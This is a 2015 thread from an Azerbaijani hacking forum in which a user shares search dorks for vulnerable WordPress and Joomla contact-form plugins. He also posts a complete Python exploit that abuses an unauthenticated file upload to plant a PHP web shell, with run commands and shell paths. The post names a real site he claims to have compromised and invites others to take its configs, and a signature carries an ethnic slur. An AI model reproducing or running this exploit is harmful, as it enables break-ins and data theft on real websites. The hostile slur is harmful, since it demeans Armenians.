Anti-armenia.ORG - Forumlar - Contactform exploit for WordPress&Joomla



Istifadəçi
    2015-05-05 19:49 GMT                 

Alper



İstifadəçi
Mesaj Sayı : 630
Mövzu Sayı :
Rep Ver : 
Rep Sayı :   45  
Indi Saytda : Durum
Cinsiyyət : Oğlan
Şəhər : null
Ölkə :
Məslək :
Yaş : 130
Mesaj :

Mövzunu Paylaş!


inurl:sexy-contact-form ( WordPress üçün dork )

inurl:com_creativecontactform ( Joomla üçün dork )

Lazim olacaq python skripti verirəm .py fayl tipində qeyd edin.


Exploitin işlədilmə qaydası ( Komputerə Python Yazılmalıdır )

python exp.py -t http://saytadi -c joomla -f shell.php

python exp.py -t http://saytadi -c wordpress -f shell.php

Shelin upload olunacağı folderlər :


/wp-content/plugins/sexy-contact-form/includes/fileupload/files/ ( WordPress üçün )

/components/com_creativecontactform/fileupload/files/ ( Joomla üçün )




http://www.geburtshaus-am-jakobertor.de/components/com_creativecontactform/fileupload/files/meca/
http://www.geburtshaus-am-jakobertor.de/components/com_creativecontactform/fileupload/files/bupl.php

burdada bəzi saytların configləri var shell basmişdim bura bu exploiti test edirdim sonra htacceslə biraz oynayanda zibili çixdi shell zay oldu =) istəyən götürə bilər =)

Kod:
#!/usr/bin/python
###################################
# *** Brazilians Hackers Team *** #
###################################
# http connection
import urllib, urllib2, sys, mimetypes
# Args management
import optparse
# file management
import os, os.path

# Check url
def checkurl(url):
    if url[:8] != "https://" and url[:7] != "http://":
        print('[X] Insira http:// or https:// procotol')
        sys.exit(1)
    else:
        return url

# Check if file exists and has readable
def checkfile(file):
    if not os.path.isfile(file) and not os.access(file, os.R_OK):
        print '[X] '+file+' file is missing or not readable'
        sys.exit(1)
    else:
        return file
# Get file's mimetype
def get_content_type(filename):
    return mimetypes.guess_type(filename)[0] or 'application/octet-stream'

# Create multipart header
def create_body_sh3ll_upl04d(payloadname):

   getfields = dict()

   payloadcontent = open(payloadname).read()

   LIMIT = '----------lImIt_of_THE_fIle_eW_$'
   CRLF = '\r\n'

   L = []
   for (key, value) in getfields.items():
      L.append('--' + LIMIT)
      L.append('Content-Disposition: form-data; name="%s"' % key)
      L.append('')
      L.append(value)

   L.append('--' + LIMIT)
   L.append('Content-Disposition: form-data; name="%s"; filename="%s"' % ('files[]', payloadname))
   L.append('Content-Type: %s' % get_content_type(payloadname))
   L.append('')
   L.append(payloadcontent)
   L.append('--' + LIMIT + '--')
   L.append('')
   body = CRLF.join(L)
   return body

banner = """


  ___ ___               __                            __,-,__                                 
|   Y   .-----.----.--|  .-----.----.-----.-----.   |  ' '__|                                 
|.  |   |  _  |   _|  _  |  _  |   _|  -__|__ --|   |     __|                                 
|. / \  |_____|__| |_____|   __|__| |_____|_____|   |_______|                                 
|:      |    _______     |__|             __           |_|                                   
|::.|:. |   |   _   .-----.-----.--------|  .---.-.                                           
`--- ---'   |___|   |  _  |  _  |        |  |  _  |                                           
             |.  |   |_____|_____|__|__|__|__|___._|                                           
             |:  1   |                                                                         
             |::.. . |                                                                         
             `-------'     
  _______                  __   __                 _______             __              __
|   _   .----.-----.---.-|  |_|__.--.--.-----.   |   _   .-----.-----|  |_.---.-.----|  |_   
|.  1___|   _|  -__|  _  |   _|  |  |  |  -__|   |.  1___|  _  |     |   _|  _  |  __|   _|   
|.  |___|__| |_____|___._|____|__|\___/|_____|   |.  |___|_____|__|__|____|___._|____|____|   
|:  1   |       _______                          |:  1   |                                   
|::.. . |      |   _   .-----.----.--------.     |::.. . |                                   
`-------'      |.  1___|  _  |   _|        |     `-------'                                   
                |.  __) |_____|__| |__|__|__|                                                 
                |:  |                                                                         
                |::.|                                                                         
                `---'                                                                         
"""

commandList = optparse.OptionParser('usage: %prog -t URL -c CMS-f FILENAME.PHP [--timeout sec]')
commandList.add_option('-t', '--target', action="store",
                  help="Insira O Alvo: http[s]://www.alvo.com",
                  )
commandList.add_option('-c', '--cms', action="store",
                  help="Insira O Tipo CMS: wordpress|joomla",
                  )
commandList.add_option('-f', '--file', action="store",
                  help="Insira O Nome Da Shell Pra Ser Upada, ex: shell.php",
                  )
commandList.add_option('--timeout', action="store", default=10, type="int",
                  help="[Timeout Value] - Default 10",
                  )

options, remainder = commandList.parse_args()

# Check args
if not options.target or not options.file or not options.cms:
    print(banner)
    commandList.print_help()
    sys.exit(1)

payloadname = checkfile(options.file)
host = checkurl(options.target)
timeout = options.timeout
cmstype = options.cms

print(banner)

if options.cms == "wordpress":
   url_sexy_upload = host+'/wp-content/plugins/sexy-contact-form/includes/fileupload/index.php'
   backdoor_location = host+'/wp-content/plugins/sexy-contact-form/includes/fileupload/files/'

elif options.cms == "joomla":
   url_sexy_upload = host+'/components/com_creativecontactform/fileupload/index.php'
   backdoor_location = host+'/components/com_creativecontactform/fileupload/files/'

else:
   print("[X] -c options require: 'wordpress' or 'joomla'")
   sys.exit(1)

content_type = 'multipart/form-data; boundary=----------lImIt_of_THE_fIle_eW_$'

bodyupload = create_body_sh3ll_upl04d(payloadname)

headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36',
           'content-type': content_type,
           'content-length': str(len(bodyupload)) }

try:
   req = urllib2.Request(url_sexy_upload, bodyupload, headers)
   response = urllib2.urlopen(req)

   if "error" in response.read():
      print("[X] Upload Falhou : [X](")
   else:
      print("[!] Shell Upada [!]")
      print("===> "+backdoor_location+options.file)
except urllib2.HTTPError as e:
   print("[X] Erro Na Conexao: [X] "+str(e.code))
except urllib2.URLError as e:
   print("[X] Erro Na Conexao: [X]"+str(e.code))

Anti-armenia.ORG
    

Istifadəçi
    2015-05-05 19:53 GMT                 

HideHacker



Gold
Mesaj Sayı : 813
Mövzu Sayı :
Rep Ver : 
Rep Sayı :   53  
Indi Saytda : Durum
Cinsiyyət : Oğlan
Şəhər : Target: armenian bitchs
Ölkə :
Məslək : HideHacker
Yaş : 130
Mesaj :

Mövzunu Paylaş!


Təşəkkür
Day demə htaccess amanat şeydi

KARABAKH belongs to AZERBAİJAN!!!
Anti-armenia.ORG
    

Istifadəçi
    2015-05-05 20:03 GMT                 

Alper



İstifadəçi
Mesaj Sayı : 630
Mövzu Sayı :
Rep Ver : 
Rep Sayı :   45  
Indi Saytda : Durum
Cinsiyyət : Oğlan
Şəhər : null
Ölkə :
Məslək :
Yaş : 130
Mesaj :

Mövzunu Paylaş!


Tez tez burda mənə mesajlar gəlir yeni istifadəçilər tərəfindən qaqaş necə sayt vurum necə edim filan )) dəfələrlə belə exploit paylaşmişam gəlin sözlədə + video izah var baxın bir şeylər edin boş boş mesajların yerinə )) Uğur olsun )

Anti-armenia.ORG
    

Istifadəçi
    2015-05-05 20:42 GMT                 

realliq



VIP
Mesaj Sayı : 181
Mövzu Sayı :
Rep Ver : 
Rep Sayı :   0  
Indi Saytda : Durum
Cinsiyyət : Oğlan
Şəhər :
Ölkə :
Məslək :
Yaş : 32
Mesaj :

Mövzunu Paylaş!


Təşəkkürlər qardaş.

Anti-armenia.ORG
    

Istifadəçi
    2015-05-05 20:42 GMT                 

Alper



İstifadəçi
Mesaj Sayı : 630
Mövzu Sayı :
Rep Ver : 
Rep Sayı :   45  
Indi Saytda : Durum
Cinsiyyət : Oğlan
Şəhər : null
Ölkə :
Məslək :
Yaş : 130
Mesaj :

Mövzunu Paylaş!


Buyur xoşdur

Anti-armenia.ORG